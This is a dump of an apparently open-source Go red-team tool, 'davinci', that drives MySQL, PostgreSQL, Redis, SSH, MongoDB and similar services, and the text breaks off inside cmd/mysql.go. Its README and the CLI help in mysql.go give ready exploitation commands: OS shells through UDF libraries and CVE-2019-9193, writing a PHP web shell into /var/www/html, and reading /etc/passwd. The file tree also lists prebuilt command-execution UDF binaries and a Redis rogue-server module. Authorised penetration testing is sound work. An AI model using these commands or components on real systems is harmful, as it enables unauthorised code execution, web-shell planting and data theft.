├── .gitignore ├── LICENSE ├── README.md ├── build.ps1 ├── cmd ├── batch.go ├── clickhouse.go ├── elasticsearch.go ├── gaussdb.go ├── mongodb.go ├── mysql.go ├── pgsql.go ├── redis.go ├── root.go └── ssh.go ├── common ├── encrypt.go ├── encrypt_test.go ├── file.go ├── log │ ├── log.go │ └── log_test.go ├── net.go ├── net_test.go └── string_util.go ├── core ├── clickhouse.go ├── elasticsearch.go ├── elasticsearch_test.go ├── gaussdb.go ├── mongo │ ├── action.go │ ├── action_test.go │ ├── find.go │ ├── findone.go │ ├── util.go │ └── util_test.go ├── mongodb.go ├── mongodb_test.go ├── mysql.go ├── mysql │ └── udf.go ├── mysql_test.go ├── pgsql.go ├── pgsql │ ├── config.go │ └── udf.go ├── pgsql_test.go ├── redis.go ├── redis │ ├── module.go │ ├── redis_dump.go │ ├── rogue_server.go │ └── rogue_server_test.go ├── redis_test.go ├── service.go ├── sqldriver.go ├── ssh.go └── ssh_test.go ├── davinci.go ├── go.mod ├── go.sum ├── lib ├── mysql │ ├── linux │ │ ├── lib_mysqludf_sys_32.so │ │ └── lib_mysqludf_sys_64.so │ └── windows │ │ ├── lib_mysqludf_sys_32.dll │ │ └── lib_mysqludf_sys_64.dll ├── postgresql │ ├── eval.c │ ├── eval_16.c │ └── linux │ │ ├── arm64 │ │ ├── lib_postgresqludf_sys_eval_exec_arm64_10.so │ │ ├── lib_postgresqludf_sys_eval_exec_arm64_11.so │ │ ├── lib_postgresqludf_sys_eval_exec_arm64_12.so │ │ ├── lib_postgresqludf_sys_eval_exec_arm64_13.so │ │ ├── lib_postgresqludf_sys_eval_exec_arm64_14.so │ │ ├── lib_postgresqludf_sys_eval_exec_arm64_15.so │ │ ├── lib_postgresqludf_sys_eval_exec_arm64_16.so │ │ ├── lib_postgresqludf_sys_eval_exec_arm64_9.1.so │ │ ├── lib_postgresqludf_sys_eval_exec_arm64_9.2.so │ │ ├── lib_postgresqludf_sys_eval_exec_arm64_9.3.so │ │ ├── lib_postgresqludf_sys_eval_exec_arm64_9.4.so │ │ ├── lib_postgresqludf_sys_eval_exec_arm64_9.5.so │ │ └── lib_postgresqludf_sys_eval_exec_arm64_9.6.so │ │ ├── x64 │ │ ├── lib_postgresqludf_sys_eval_exec_10.so │ │ ├── lib_postgresqludf_sys_eval_exec_11.so │ │ ├── lib_postgresqludf_sys_eval_exec_12.so │ │ ├── lib_postgresqludf_sys_eval_exec_13.so │ │ ├── lib_postgresqludf_sys_eval_exec_14.so │ │ ├── lib_postgresqludf_sys_eval_exec_15.so │ │ ├── lib_postgresqludf_sys_eval_exec_16.so │ │ ├── lib_postgresqludf_sys_eval_exec_8.2.so │ │ ├── lib_postgresqludf_sys_eval_exec_8.3.so │ │ ├── lib_postgresqludf_sys_eval_exec_8.4.so │ │ ├── lib_postgresqludf_sys_eval_exec_9.0.so │ │ ├── lib_postgresqludf_sys_eval_exec_9.1.so │ │ ├── lib_postgresqludf_sys_eval_exec_9.2.so │ │ ├── lib_postgresqludf_sys_eval_exec_9.3.so │ │ ├── lib_postgresqludf_sys_eval_exec_9.4.so │ │ ├── lib_postgresqludf_sys_eval_exec_9.5.so │ │ └── lib_postgresqludf_sys_eval_exec_9.6.so │ │ └── x86 │ │ ├── lib_postgresqludf_sys_eval_exec_x86_10.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_11.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_12.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_13.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_14.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_15.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_8.2.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_8.3.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_8.4.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_9.0.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_9.1.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_9.2.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_9.3.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_9.4.so │ │ ├── lib_postgresqludf_sys_eval_exec_x86_9.5.so │ │ └── lib_postgresqludf_sys_eval_exec_x86_9.6.so └── redis │ ├── eval.c │ ├── linux │ ├── arm64 │ │ └── eval_arm64.so │ ├── x64 │ │ └── eval.so │ └── x86 │ │ └── eval_x86.so │ └── redismodule.h ├── linux_amd64.ps1 └── win_amd64.ps1 /.gitignore: -------------------------------------------------------------------------------- 1 | # If you prefer the allow list template instead of the deny list, see community template: 2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 3 | # 4 | # Binaries for programs and plugins 5 | *.exe 6 | *.exe~ 7 | #*.dll 8 | #*.so 9 | *.dylib 10 | 11 | # Test binary, built with `go test -c` 12 | *.test 13 | 14 | # Output of the go coverage tool, specifically when used with LiteIDE 15 | *.out 16 | 17 | # Dependency directories (remove the comment below to include it) 18 | # vendor/ 19 | 20 | # Go workspace file 21 | go.work 22 | 23 | .idea 24 | bin 25 | .DS_Store -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Ape1ron 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # davinci 2 | 3 | ## 免责声明 4 | 5 | 本程序应仅用于授权的安全测试与研究目的。 6 | 由于传播、利用本工具而造成的任何直接或者间接的后果及损失,均由使用者负责,工具作者不为此承担任何责任。 7 | 8 | ## 介绍 9 | 10 | davinci是一个多组件客户端命令行工具,利用golang的特性,可轻易编译出在各类操作系统和架构下的可执行文件,在各种环境下使用。 11 | 12 | 目前内置了下列组件的常见利用方式,包括信息收集、非交互式执行、交互式执行等: 13 | - MySQL 14 | - PostgreSQL 15 | - Clickhouse 16 | - GaussDB 17 | - MongoDB 18 | - Redis 19 | - SSH 20 | - Elasticsearch 21 | 22 | 23 | 24 | ## 编译方式 25 | 26 | ``` 27 | go env -w GOOS=$os 28 | go env -w GOARCH=$arch 29 | go build -ldflags "-w -s" -o bin/$name davinci.go 30 | ``` 31 | 32 | 对于常见的平台已提供powershell脚本执行编译使用: 33 | ``` 34 | .\win_amd64.ps1 35 | .\linux_amd64.ps1 36 | ``` 37 | 38 | 你也可以直接使用release中编译好的可执行文件。 39 | 40 | 41 | 42 | ## 使用方式 43 | 44 | ```bash 45 | # ./davinci --help 46 | multi-component client,include database, middleware, queue, etc. 47 | used for red team simulation scenarios 48 | 49 | Usage: 50 | davinci [command] 51 | 52 | Available Commands: 53 | batch batch execute 54 | clickhouse clickhouse client 55 | completion Generate the autocompletion script for the specified shell 56 | es elasticsearch client 57 | gaussdb gaussdb client 58 | help Help about any command 59 | mongo mongo client 60 | mysql mysql client 61 | pgsql pgsql client 62 | redis redis client 63 | ssh ssh client 64 | 65 | Flags: 66 | -h, --help help for davinci 67 | --no-log not log output to file 68 | --silent close info level output 69 | 70 | Use "davinci [command] --help" for more information about a command. 71 | ``` 72 | 73 | 每个组件均作为一个子命令来使用,几乎每个组件都至少会提供三种使用方式: 74 | - exec : 非交互式执行单条命令 75 | - shell : 进入交互式命令执行 76 | - auto_gather: 自动化信息收集,实际上就是批量执行一组命令 77 | 78 | 注意:上述的"命令"是指组件自身的命令,例如对于MySQL来说是SQL,而对于SSH来说则是系统命令。 79 | 80 | 针对不同组件会提供特定的使用方式,包括但不限于:系统命令执行、文件读写等 81 | ```bash 82 | Example: 83 | davinci pgsql exec -H 192.168.1.2 -P 5432 -u postgres -p 123456 -c "select user;" 84 | davinci pgsql shell -H 192.168.1.2 -P 5432 -u postgres -p 123456 85 | davinci pgsql auto_gather -H 192.168.1.2 -P 5432 -u postgres -p 123456 86 | davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --cve-2019-9193 87 | davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --cve-2019-9193 --no-interactive -c "whoami" 88 | davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --udf 89 | davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --udf --no-interactive -c "whoami" 90 | davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --ssl_passpharse -c "whoami" 91 | davinci pgsql writefile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --lo_export -s ./eval.php -t /var/www/html/1.php 92 | davinci pgsql writefile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --copy_to -C "" -t /var/www/html/1.php 93 | davinci pgsql readfile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --lo_import -t /etc/passwd 94 | davinci pgsql readfile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --pg_read -t /etc/passwd 95 | davinci pgsql readfile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --copy_from -t /etc/passwd --hex 96 | davinci pgsql mkdir -H 192.168.1.2 -P 5432 -u postgres -p 123456 -t /etc/pg_dir 97 | davinci pgsql lsdir -H 192.168.1.2 -P 5432 -u postgres -p 123456 -t / 98 | ``` 99 | 100 | 各个组件的详细使用方式以及支持的功能,请参考:[wiki](https://github.com/Ape1ron/davinci/wiki) 101 | 102 | 此外,工具还提供了一个批量执行的功能 103 | ```bash 104 | # ./davinci batch --help 105 | batch execute: 106 | - export: export execute config template 107 | - exec : batch execute 108 | 109 | Usage: 110 | davinci batch [export|exec] [flags] 111 | 112 | Flags: 113 | -b, --b64config string the config base64 encode 114 | -f, --file string config file (default ".davinci_batch.json") 115 | -h, --help help for batch 116 | 117 | Global Flags: 118 | --no-log not log output to file 119 | --silent close info level output 120 | ``` 121 | 你可以通过`./davinci batch export`先导出一个模板,然后基于模板来制定批量执行的计划: 122 | ```bash 123 | [ 124 | { 125 | "cmd_type": "ssh", 126 | "hosts": [ 127 | "127.0.0.1", 128 | "192.168.83.1/24", 129 | "192.168.83.1-20" 130 | ], 131 | "port": 22, 132 | "user": "root", 133 | "passwd": "123456", 134 | "cmds": [ 135 | "ls -al /", 136 | "ifconfig" 137 | ] 138 | }, 139 | { 140 | "cmd_type": "redis", 141 | "hosts": [ 142 | "127.0.0.1" 143 | ], 144 | "port": 6379, 145 | "cmds": [ 146 | "dbsize" 147 | ] 148 | } 149 | ] 150 | ``` 151 | 目前执行批量执行的组件包括:ssh、mysql、pgsql、gaussdb、clickhouse、redis、mongo 152 | ```bash 153 | ./davinci batch exec -f .davinci_batch-1.json 154 | ``` 155 | 156 | 157 | 158 | ## 输出记录 159 | 160 | 默认情况下,会将所有输出记录到日志文件: `davinci_{y}-{m}-{d}.log`(除了交互式的ssh) 161 | 162 | 要关闭日志记录只需要使用`--no-log`选项即可。 163 | 164 | 此外,默认输出级别是info级别,会包含执行过程的详细信息,可以使用`--silent`选项来关闭详细输出,仅输出Warn级别以上的信息。 165 | 166 | 167 | 168 | ## todo 169 | 170 | - oracle 171 | - sqlserver 172 | - etcd -------------------------------------------------------------------------------- /build.ps1: -------------------------------------------------------------------------------- 1 | param( 2 | [string]$os=$(throw "os Parameter missing,such : -os linux") , 3 | [string]$arch=$(throw "arch Parameter missing,such : -arch amd64") , 4 | [string]$name=$(throw "arch Parameter missing,such : -name davinci") 5 | ) 6 | 7 | go env -w GOOS=$os 8 | go env -w GOARCH=$arch 9 | go build -ldflags "-w -s" -o bin/$name davinci.go -------------------------------------------------------------------------------- /cmd/batch.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "davinci/common" 5 | "davinci/common/log" 6 | "davinci/core" 7 | "encoding/base64" 8 | "encoding/json" 9 | "github.com/spf13/cobra" 10 | "net" 11 | "os" 12 | "strings" 13 | ) 14 | 15 | const defaultBatchFile = ".davinci_batch.json" 16 | 17 | type batchExec struct { 18 | CmdType string `json:"cmd_type"` 19 | Hosts []string `json:"hosts"` 20 | Port int `json:"port,omitempty"` 21 | User string `json:"user,omitempty"` 22 | Passwd string `json:"passwd,omitempty"` 23 | Cmds []string `json:"cmds"` 24 | } 25 | 26 | var ( 27 | file string 28 | b64Config string 29 | 30 | batchCmd = &cobra.Command{ 31 | Use: "batch [export|exec]", 32 | Short: "batch execute", 33 | Long: "batch execute:\n" + 34 | " - export: export execute config template\n" + 35 | " - exec : batch execute", 36 | Args: cobra.ExactValidArgs(1), 37 | ValidArgs: []string{"export", "exec"}, 38 | RunE: func(command *cobra.Command, args []string) error { 39 | switch args[0] { 40 | case "export": 41 | batchTemp1 := &batchExec{ 42 | CmdType: "ssh", 43 | Hosts: []string{"127.0.0.1", "192.168.83.1/24", "192.168.83.1-20"}, 44 | Port: 22, 45 | User: "root", 46 | Passwd: "123456", 47 | Cmds: []string{"ls -al /", "ifconfig"}, 48 | } 49 | batchTemp2 := &batchExec{ 50 | CmdType: "redis", 51 | Hosts: []string{"127.0.0.1"}, 52 | Port: 6379, 53 | Cmds: []string{"dbsize"}, 54 | } 55 | var batchTempList []*batchExec 56 | batchTempList = append(batchTempList, batchTemp1) 57 | batchTempList = append(batchTempList, batchTemp2) 58 | if jsonData, err := json.MarshalIndent(batchTempList, "", " "); err != nil { 59 | log.Error(err) 60 | } else { 61 | if err := common.WriteFile(file, jsonData); err == nil { 62 | log.Info("export batch config template success: ", file) 63 | } else { 64 | log.Error(err) 65 | return err 66 | } 67 | } 68 | case "exec": 69 | var data []byte 70 | var err error 71 | if b64Config != "" { 72 | data, err = base64.StdEncoding.DecodeString(b64Config) 73 | } else { 74 | data, err = os.ReadFile(file) 75 | } 76 | if err != nil { 77 | log.Error(err) 78 | return err 79 | } 80 | var batchs []batchExec 81 | if err := json.Unmarshal(data, &batchs); err != nil { 82 | log.Error(err) 83 | return err 84 | } 85 | log.Info("load batch config success: ", file) 86 | batchExecute(batchs) 87 | } 88 | return nil 89 | }, 90 | } 91 | ) 92 | 93 | func batchExecute(batchs []batchExec) { 94 | for _, batch := range batchs { 95 | service := parseBatchExec(batch) 96 | if service == nil { 97 | continue 98 | } 99 | for _, ips := range batch.Hosts { 100 | ipList := common.ParseIps(ips) 101 | if ipList != nil { 102 | for _, ip := range ipList { 103 | service.SetHost(ip) 104 | log.Info("try batch execute in : ", ip) 105 | batchExecCmd(service, batch.Cmds) 106 | } 107 | continue 108 | } 109 | _, err := net.ResolveIPAddr("ip", ips) 110 | if err == nil { 111 | log.Info("try batch execute in : ", ips) 112 | service.SetHost(ips) 113 | batchExecCmd(service, batch.Cmds) 114 | } 115 | } 116 | 117 | } 118 | } 119 | 120 | func batchExecCmd(service core.Service, cmds []string) { 121 | for _, cmd := range cmds { 122 | service.SetCmd(cmd) 123 | service.ExecuteOnce() 124 | } 125 | } 126 | 127 | func parseBatchExec(batch batchExec) core.Service { 128 | var service core.Service 129 | batch.CmdType = strings.ToLower(batch.CmdType) 130 | switch batch.CmdType { 131 | case "ssh": 132 | if batch.Port == 0 { 133 | batch.Port = 22 134 | } 135 | service = &core.Ssh{ 136 | Port: batch.Port, 137 | User: batch.User, 138 | Passwd: batch.Passwd, 139 | } 140 | case "mysql": 141 | if batch.Port == 0 { 142 | batch.Port = 3306 143 | } 144 | service = &core.Mysql{ 145 | Port: batch.Port, 146 | User: batch.User, 147 | Passwd: batch.Passwd, 148 | } 149 | case "pgsql": 150 | if batch.Port == 0 { 151 | batch.Port = 5432 152 | } 153 | service = &core.Pgsql{ 154 | Port: batch.Port, 155 | User: batch.User, 156 | Passwd: batch.Passwd, 157 | } 158 | case "gaussdb": 159 | if batch.Port == 0 { 160 | batch.Port = 5432 161 | } 162 | service = &core.GaussDB{ 163 | Pgsql: &core.Pgsql{ 164 | Port: batch.Port, 165 | User: batch.User, 166 | Passwd: batch.Passwd, 167 | }, 168 | } 169 | case "clickhouse": 170 | if batch.Port == 0 { 171 | batch.Port = 9000 172 | } 173 | service = &core.ClickHouse{ 174 | Port: batch.Port, 175 | User: batch.User, 176 | Passwd: batch.Passwd, 177 | } 178 | case "redis": 179 | if batch.Port == 0 { 180 | batch.Port = 6379 181 | } 182 | service = &core.Redis{ 183 | Port: batch.Port, 184 | User: batch.User, 185 | Passwd: batch.Passwd, 186 | } 187 | case "mongo": 188 | if batch.Port == 0 { 189 | batch.Port = 27017 190 | } 191 | service = &core.MongoDb{ 192 | Port: batch.Port, 193 | User: batch.User, 194 | Passwd: batch.Passwd, 195 | } 196 | } 197 | return service 198 | } 199 | 200 | func init() { 201 | batchCmd.Flags().StringVarP(&file, "file", "f", defaultBatchFile, "config file") 202 | batchCmd.Flags().StringVarP(&b64Config, "b64config", "b", "", "the config base64 encode") 203 | rootCmd.AddCommand(batchCmd) 204 | } 205 | -------------------------------------------------------------------------------- /cmd/clickhouse.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "davinci/core" 5 | "fmt" 6 | "github.com/spf13/cobra" 7 | ) 8 | 9 | var ( 10 | chHost string 11 | chPort int 12 | chUser string 13 | chPasswd string 14 | chDbName string 15 | chSql string 16 | 17 | chCmd = &cobra.Command{ 18 | Use: "clickhouse [exec|shell|auto_gather]", 19 | Short: "clickhouse client", 20 | Long: "clickhouse client:\n" + 21 | " - exec: execute the command once and return directly\n" + 22 | " - shell: clickhouse interactive shell\n" + 23 | " - auto_gather: automatically collect database information, including users, databases,\n" + 24 | " tables, table structures, and the first 5 rows of data for each table", 25 | Args: cobra.ExactValidArgs(1), 26 | ValidArgs: []string{"exec", "shell", "auto_gather"}, 27 | RunE: func(command *cobra.Command, args []string) error { 28 | service := &core.ClickHouse{ 29 | Host: chHost, 30 | Port: chPort, 31 | User: chUser, 32 | Passwd: chPasswd, 33 | DbName: chDbName, 34 | Cmd: chSql, 35 | } 36 | defer service.Close() 37 | switch args[0] { 38 | case "exec": 39 | if chSql == "" { 40 | return fmt.Errorf("davinci clickhouse exec must have cmd") 41 | } 42 | service.ExecuteOnce() 43 | case "shell": 44 | service.Shell() 45 | case "auto_gather": 46 | service.AutoGather() 47 | } 48 | return nil 49 | }, 50 | } 51 | ) 52 | 53 | func init() { 54 | 55 | chCmd.Flags().StringVarP(&chHost, "host", "H", "127.0.0.1", "clickhouse ip addr") 56 | chCmd.Flags().IntVarP(&chPort, "port", "P", 9000, "clickhouse port") 57 | chCmd.Flags().StringVarP(&chUser, "user", "u", "default", "username") 58 | chCmd.Flags().StringVarP(&chPasswd, "passwd", "p", "", "pasword") 59 | chCmd.Flags().StringVarP(&chDbName, "dbName", "d", "", "database name,not require") 60 | chCmd.Flags().StringVarP(&chSql, "cmd", "c", "", "clickhouse cmd to be executed, only used in exec mode") 61 | chCmd.MarkFlagRequired("passwd") 62 | rootCmd.AddCommand(chCmd) 63 | } 64 | -------------------------------------------------------------------------------- /cmd/elasticsearch.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "davinci/core" 5 | "github.com/spf13/cobra" 6 | ) 7 | 8 | var ( 9 | esUrl string 10 | esUser string 11 | esPasswd string 12 | force bool 13 | 14 | esCmd = &cobra.Command{ 15 | Use: "es [auto_gather]", 16 | Short: "elasticsearch client", 17 | Long: "elasticsearch client:\n" + 18 | " - auto_gather: automatically collect es information, including nodes,users,\n" + 19 | " total amount of data, indices,first 5 data of each index", 20 | Args: cobra.ExactValidArgs(1), 21 | ValidArgs: []string{"auto_gather"}, 22 | RunE: func(command *cobra.Command, args []string) error { 23 | service := &core.ElasticSearch{ 24 | Url: esUrl, 25 | User: esUser, 26 | Passwd: esPasswd, 27 | Check: !force, 28 | } 29 | switch args[0] { 30 | case "auto_gather": 31 | service.AutoGather() 32 | } 33 | return nil 34 | }, 35 | } 36 | ) 37 | 38 | func init() { 39 | 40 | esCmd.Flags().StringVarP(&esUrl, "url", "U", "http://127.0.0.1:9200", "elasticsearch addr") 41 | esCmd.Flags().StringVarP(&esUser, "user", "u", "", "username") 42 | esCmd.Flags().StringVarP(&esPasswd, "passwd", "p", "", "pasword") 43 | esCmd.Flags().BoolVar(&force, "force", false, "do not check elasticsearch api enable,force request") 44 | rootCmd.AddCommand(esCmd) 45 | } 46 | -------------------------------------------------------------------------------- /cmd/gaussdb.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "davinci/core" 5 | "fmt" 6 | "github.com/spf13/cobra" 7 | ) 8 | 9 | var ( 10 | gsHost string 11 | gsPort int 12 | gsUser string 13 | gsPasswd string 14 | gsDbName string 15 | gsSql string 16 | 17 | gsCmd = &cobra.Command{ 18 | Use: "gaussdb [exec|shell|auto_gather]", 19 | Short: "gaussdb client", 20 | Long: "gaussdb client:\n" + 21 | " - exec: execute the command once and return directly\n" + 22 | " - shell: gaussdb interactive shell\n" + 23 | " - auto_gather: automatically collect database information, including users, databases,\n" + 24 | " tables, table structures, and the first 5 rows of data for each table", 25 | Args: cobra.ExactValidArgs(1), 26 | ValidArgs: []string{"exec", "shell", "auto_gather"}, 27 | RunE: func(command *cobra.Command, args []string) error { 28 | // gaussdb is compatible with postgresql 29 | service := &core.GaussDB{ 30 | Pgsql: &core.Pgsql{ 31 | Host: gsHost, 32 | Port: gsPort, 33 | User: gsUser, 34 | Passwd: gsPasswd, 35 | DbName: gsDbName, 36 | Cmd: gsSql, 37 | }, 38 | } 39 | defer service.Close() 40 | switch args[0] { 41 | case "exec": 42 | if gsSql == "" { 43 | return fmt.Errorf("davinci pgsql exec must have cmd") 44 | } 45 | service.ExecuteOnce() 46 | case "shell": 47 | service.Shell() 48 | case "auto_gather": 49 | service.AutoGather() 50 | } 51 | return nil 52 | }, 53 | } 54 | ) 55 | 56 | func init() { 57 | 58 | gsCmd.Flags().StringVarP(&gsHost, "host", "H", "127.0.0.1", "gaussdb ip addr") 59 | gsCmd.Flags().IntVarP(&gsPort, "port", "P", 5432, "gaussdb port") 60 | gsCmd.Flags().StringVarP(&gsUser, "user", "u", "gaussdb", "username") 61 | gsCmd.Flags().StringVarP(&gsPasswd, "passwd", "p", "", "pasword") 62 | gsCmd.Flags().StringVarP(&gsDbName, "dbName", "d", "postgres", "database name,not require") 63 | gsCmd.Flags().StringVarP(&gsSql, "cmd", "c", "", "gaussdb cmd to be executed, only used in exec mode") 64 | gsCmd.MarkFlagRequired("passwd") 65 | rootCmd.AddCommand(gsCmd) 66 | } 67 | -------------------------------------------------------------------------------- /cmd/mongodb.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "davinci/core" 5 | "fmt" 6 | "github.com/spf13/cobra" 7 | ) 8 | 9 | var ( 10 | mongoHost string 11 | mongoPort int 12 | mongoUser string 13 | mongoPasswd string 14 | mongoDbName string 15 | mongoExec string 16 | 17 | mongoCmd = &cobra.Command{ 18 | Use: "mongo [exec|shell|auto_gather]", 19 | Short: "mongo client", 20 | Long: "mongo client:\n" + 21 | " - exec: execute the command once and return directly\n" + 22 | " - shell: mongo interactive shell\n" + 23 | " - auto_gather: automatically collect database information, including users, databases,\n" + 24 | " tables, table structures, and the first 5 rows of data for each table", 25 | Args: cobra.ExactValidArgs(1), 26 | ValidArgs: []string{"exec", "shell", "auto_gather"}, 27 | RunE: func(command *cobra.Command, args []string) error { 28 | service := &core.MongoDb{ 29 | Host: mongoHost, 30 | Port: mongoPort, 31 | User: mongoUser, 32 | Passwd: mongoPasswd, 33 | DbName: mongoDbName, 34 | Cmd: mongoExec, 35 | } 36 | defer service.Close() 37 | switch args[0] { 38 | case "exec": 39 | if mongoExec == "" { 40 | return fmt.Errorf("davinci mongo exec must have cmd") 41 | } 42 | service.ExecuteOnce() 43 | case "shell": 44 | service.Shell() 45 | case "auto_gather": 46 | service.AutoGather() 47 | } 48 | return nil 49 | }, 50 | } 51 | ) 52 | 53 | func init() { 54 | 55 | mongoCmd.Flags().StringVarP(&mongoHost, "host", "H", "127.0.0.1", "mongodb ip addr") 56 | mongoCmd.Flags().IntVarP(&mongoPort, "port", "P", 27017, "mongodb port") 57 | mongoCmd.Flags().StringVarP(&mongoUser, "user", "u", "", "username") 58 | mongoCmd.Flags().StringVarP(&mongoPasswd, "passwd", "p", "", "pasword") 59 | mongoCmd.Flags().StringVarP(&mongoDbName, "dbName", "d", "", "database name") 60 | mongoCmd.Flags().StringVarP(&mongoExec, "cmd", "c", "", "mongo cmd to be executed, only used in exec mode") 61 | rootCmd.AddCommand(mongoCmd) 62 | } 63 | -------------------------------------------------------------------------------- /cmd/mysql.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "davinci/common/log" 5 | "davinci/core" 6 | "encoding/hex" 7 | "fmt" 8 | "github.com/spf13/cobra" 9 | "io/ioutil" 10 | ) 11 | 12 | var ( 13 | mysqlHost string 14 | mysqlPort int 15 | mysqlUser string 16 | mysqlPasswd string 17 | mysqlDbName string 18 | mysqlSql string 19 | mysqlTargetFile string 20 | mysqlSourceFile string 21 | mysqlContent string 22 | mysqlHex bool 23 | mysqlDump_writefile bool 24 | mysqlOut_writefile bool 25 | mysqlSlow_writefile bool 26 | mysqlInfile_readfile bool 27 | mysqlLoadfile_reafile bool 28 | mysqlNoInteractive_osshell bool 29 | 30 | mysqlCmd = &cobra.Command{ 31 | Use: "mysql [exec|shell|auto_gather|udf_osshell|writefile|readfile]", 32 | Short: "mysql client", 33 | Long: "mysql client:\n" + 34 | " - exec: execute the command once and return directly\n" + 35 | " - shell: mysql interactive shell\n" + 36 | " - auto_gather: automatically collect database information, including users, databases,\n" + 37 | " tables, table structures, and the first 5 rows of data for each table \n" + 38 | " - udf_osshell: exec os shell through udf\n" + 39 | " - writefile: write file,three ways: [outifile | dumpfile | slow_query_log]\n" + 40 | " - readfile: read file,two ways: [infile | load_file]\n" + 41 | "\n" + 42 | "Example: \n" + 43 | " davinci mysql exec -H 192.168.1.2 -P 3307 -u root -p 123456 -c \"show databases\" \n" + 44 | " davinci mysql shell -H 192.168.1.2 -P 3307 -u root -p 123456 \n" + 45 | " davinci mysql auto_gather -H 192.168.1.2 -P 3307 -u root -p 123456 \n" + 46 | " davinci mysql udf_osshell -H 192.168.1.2 -P 3307 -u root -p 123456 \n" + 47 | " davinci mysql writefile -H 192.168.1.2 -P 3307 -u root -p 123456 --outfile -s ./eval.php -t /var/www/html/1.php \n" + 48 | " davinci mysql writefile -H 192.168.1.2 -P 3307 -u root -p 123456 --dumpfile -C \"\" -t /var/www/html/1.php \n" + 49 | " davinci mysql writefile -H 192.168.1.2 -P 3307 -u root -p 123456 --slowlog -C \"\" -t /var/www/html/1.php \n" + 50 | " davinci mysql readfile -H 192.168.1.2 -P 3307 -u root --infile -p 123456 -t /etc/passwd \n" + 51 | " davinci mysql readfile -H 192.168.1.2 -P 3307 -u root --load_file -p 123456 -t /etc/passwd \n", 52 | 53 | Args: cobra.ExactValidArgs(1), 54 | ValidArgs: []string{"exec", "shell", "auto_gather", "udf_osshell", "readfile", "writefile"}, 55 | RunE: func(command *cobra.Command, args []string) error { 56 | service := &core.Mysql{ 57 | Host: mysqlHost, 58 | Port: mysqlPort, 59 | User: mysqlUser, 60 | Passwd: mysqlPasswd, 61 | DbName: mysqlDbName, 62 | Cmd: mysqlSql, 63 | } 64 | defer service.Close() 65 | switch args[0] { 66 | case "exec": 67 | if mysqlSql == "" { 68 | return fmt.Errorf("davinci mysql exec need cmd,please use -c to specify") 69 | } 70 | service.ExecuteOnce() 71 | case "shell": 72 | service.Shell() 73 | case "auto_gather": 74 | service.AutoGather() 75 | case "udf_osshell": 76 | if mysqlNoInteractive_osshell && mysqlSql == "" { 77 | return fmt.Errorf("davinci udf_osshell no interactive need cmd,please use -c to specify") 78 | } 79 | service.UdfExecOsShell(mysqlSql, !mysqlNoInteractive_osshell) 80 | case "writefile": 81 | if mysqlSourceFile == "" && mysqlContent == "" { 82 | return fmt.Errorf("davinci mysql writefile must have source or content") 83 | } 84 | if mysqlTargetFile == "" { 85 | return fmt.Errorf("davinci mysql writefile must have target") 86 | } 87 | if !mysqlDump_writefile && !mysqlOut_writefile && !mysqlSlow_writefile { 88 | return fmt.Errorf("please choose write mode [dumpfile|outfile|slowlog]") 89 | } 90 | 91 | var h string 92 | if mysqlContent != "" { 93 | if mysqlHex { 94 | h = mysqlContent 95 | } else { 96 | h = hex.EncodeToString([]byte(mysqlContent)) 97 | } 98 | } else { 99 | if content, readErr := ioutil.ReadFile(mysqlSourceFile); readErr != nil { 100 | return readErr 101 | } else { 102 | h = hex.EncodeToString(content) 103 | } 104 | } 105 | mh := "0x" + h 106 | if mysqlOut_writefile { 107 | service.WriteFile_by_IntoSql(mh, mysqlTargetFile, true) 108 | } else if mysqlDump_writefile { 109 | service.WriteFile_by_IntoSql(mh, mysqlTargetFile, false) 110 | } else 